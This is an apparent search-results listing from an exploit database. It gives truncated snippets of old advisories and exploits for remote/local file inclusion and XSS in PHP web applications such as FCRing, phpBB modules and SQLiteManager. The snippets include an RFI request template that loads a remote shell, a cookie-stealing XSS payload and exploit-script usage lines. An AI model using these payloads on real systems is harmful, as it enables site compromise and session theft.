10489 matches found
WB News Remote File Include in all versions
ThE bug in admin file To ConTacT mE @ www.Asb-May.net/bb ScRiPtS:-http://www.webmobo.com/wbnews/download.html GrEaTz To:-ToOofa-HaCk.eGy All AsB-MaY DisCoverY ExPloIts GrOup Discovered By:- ThE dE@Th AsB-MaY DiScOvEr ExPlIoTs Gr0uP comment.php:- include $config'installdir'...
CS-Gallery 2.0 (index.php album) Remote File Include Exploit
No description provided by source. ?php //File Inclusion Exploit for CSGallery = 2.0 //Found and Exploit Coded by burncycle - burncycleathotmaildotde //| //Vendor: http://www.cschneider.de/ //Dork: . www.cschneider.info //| //Bug in "index.php": //.. //$codefile=$POST'album'.'/code.php';...
FCRing <= 1.31 (fcring.php s_fuss) Remote File Include Vulnerability
No description provided by source. FCRing 1.3 Webringskript Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=fcring&title=FCRing%201.3 ERROR: if$sfuss != "" include$sfuss; rfi coded RFI: http://SITE.com/path/fcring.php?sfuss=SHELL kezzap66345athotmaildotcom...
phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit
No description provided by source. !/usr/bin/perl phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: includeonce$phpbbrootpath...
Sinapis 2.2 Gastebuch (sinagb.php fuss) Remote File Include Vulnerability
No description provided by source. Sinapis 2.2 Gastebuch Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=gb&title=Sinapis%20G鋝tebuch%20 Dork="inurl:sinagb.php" ERROR: if$fuss == "" echo ""; else include$fuss; rfi coded RFI:...
Extreme phpBB 3.0.1 (functions.php) Remote File Include Exploit
No description provided by source. C xoron Name: phpBB Extreme 3.0.1 phpbbrootpath Remote File Include Exploit Author: xoron Exploit coded by xoron Download: http://sourceforge.net/project/showfiles.php?groupid=95900 Tesekkurler: pang0, DJR POC:...
Admin Phorum 3.3.1.a (del.php include_path)File Include Vulnerability
Admin Phorum 3.3.1.a del.php includepathFile Include Vulnerability Author: GoldM Hacker at w.Cn Mahmoodali Homepage: Www.Tryag.Cc Download S : http://www.phpforums.net/admin331.zip Other Info : http://www.phpforums.net/index.php?dir=dld v.Code : Line 3 require "$includepath/deletemessage.php";...
Admin Phorum 3.3.1a (del.asp include_path) RFI Vulnerability
No description provided by source. br / br / Admin Phorum 3.3.1.a del.php includepathFile Include Vulnerability br / br /...
sqllitemanager120-multi.txt
SQLiteManager v1.2.0 Multiple Vulnerabilities ------------------------------------------------------- vendor : http://www.sqlitemanager.org/ Global risk : High ------------------------------------------------------- SQLite is a SQL managed portal like PhpMyAdmin. Multiple Cross Scripting...
activecal120-multi.txt
ActiveCalendar 1.2.0, Multiple vulnerabilities Vendor site : http://www.micronetwork.de/activecalendar/ Global risk : Critical Multiples XSS : --------------- /activecalendar/data/page.php?css="alertdocument.cookie In : /data/ flatevents.php js.php mysqlevents.php m2.php m3.php m4.php xmlevents.p...
CVE-2006-7079: Improper Limitation of a Pathname to a Restricted Directory
Variable extraction vulnerability in include/common.php in exV2 2.0.4.3 and earlier allows remote attackers to overwrite arbitrary program variables and conduct directory traversal attacks to execute arbitrary code by modifying the $xoopsOption'pagetype' variable...
Admin Phorum 3.3.1a (del.php include_path) RFI Vulnerability
Exploit for unknown platform in category web applications ============================================================= Admin Phorum 3.3.1a del.php includepath RFI Vulnerability ============================================================ Admin Phorum 3.3.1.a del.php includepathFile Include...
CVE-2006-7081: Undefined Security Weakness
Multiple PHP remote file inclusion vulnerabilities in PhpNews 1.0 allow remote attackers to execute arbitrary PHP code via the Include parameter to 1 Include/lib.inc.php3 and 2 Include/variables.php3...
PT-2007-1358 · Exv2 · Exv2
Name of the Vulnerable Software and Affected Versions: exV2 versions 2.0.4.3 and earlier Description: The issue allows remote attackers to overwrite arbitrary program variables and conduct directory traversal attacks to execute arbitrary code. This is achieved by modifying the xoopsOption'pagetyp...
PHP-MIP 0.1 (top.php laypath) Remote File Include Vulnerability
No description provided by source. PHP Module Implementationtop.php laypathRemote File Include Vul ^ Downlaoad S : http://sourceforge.net/projects/phpmip/ ^ Author: GolDM = Mahmoodali && Contact: [email protected] ^ In: /path/top.php ^...
SQLiteManager 1.2 - Local File Inclusion
SQLiteManager 1.2 - Local File Inclusion source: https://www.securityfocus.com/bid/22727/info SQLiteManager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute loca...
PHP Module Implementation(top.php laypath)Remote File Include Vul
PHP Module Implementationtop.php laypathRemote File Include Vul ^ Downlaoad S : http://sourceforge.net/projects/phpmip/ ^ Author: GolDM = Mahmoodali && Contact: [email protected] ^ In: /path/top.php ^ Vulnerable Code: ^ include"$laypath/body.php"; Line : 23 ^ Exploit:...
Pagesetter 6.2/6.3.0 - 'index.php' Local File Inclusion
source: https://www.securityfocus.com/bid/22733/info Pagesetter is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts. Pagesetter 6.3.0 beta 5 and prior...
SQLiteManager v1.2.0 Multiple Vulnerabilities
SQLiteManager v1.2.0 Multiple Vulnerabilities ------------------------------------------------------- vendor : http://www.sqlitemanager.org/ Global risk : High ------------------------------------------------------- SQLite is a SQL managed portal like PhpMyAdmin. Multiple Cross Scripting...